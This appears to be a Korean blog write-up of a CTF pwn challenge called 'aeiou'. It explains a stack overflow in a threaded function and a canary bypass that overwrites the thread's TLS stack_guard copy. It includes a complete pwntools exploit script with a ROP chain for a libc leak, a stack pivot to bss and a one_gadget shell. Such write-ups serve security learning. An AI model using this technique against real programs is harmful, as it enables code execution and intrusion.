간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.
3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.
start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고,
getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.
vuln()함수는 a3만큼 a2에 read하는 함수다.
즉 여기서 overflow가 일어난다.
number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.
하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.
ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.
만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.
우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.
rbp-0x8에 있는 값이 카나리다.
stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다.
즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.
이 원리를 이용해 rop를 했다.
from pwn import *
#r = process("./aeiou", env={"LD_LIBRARY_PATH":"."})
r = process("./aeiou")
elf = ELF('./aeiou')
libc = ELF('./libc.so')
pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
pop_rsp = 0x4026ed
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss() + 0x200
payload = "\x00"*(0x1010-8)
payload += "DDDD"*4
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)
payload += p64(pop_rsp)
payload += p64(bss-0x18)
payload += "D"*2000
r.sendlineafter(">>", "3")
r.sendlineafter("Let me know the number!", str(len(payload)))
r.send(payload)
pause()
r.recvuntil(":)\x0a")
libc_puts = u64(r.recv(6).ljust(8, "\x00"))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_puts = {}".format(hex(libc_puts)))
one_gadget = libc_base + 0x4526a
pause()
r.sendline(p64(one_gadget))
r.interactive()
다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.
return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.
'CTF' 카테고리의 다른 글
| BTH_CTF 2019 (0) | 2019.05.01 |
|---|---|
| plaid 2019 can you guess me? (0) | 2019.04.15 |
| CSAW2016 tutorial (0) | 2019.02.01 |
| TJCTF 2016 oneshot (0) | 2019.01.24 |
| QIWICTF 2016 pwn200 (0) | 2019.01.23 |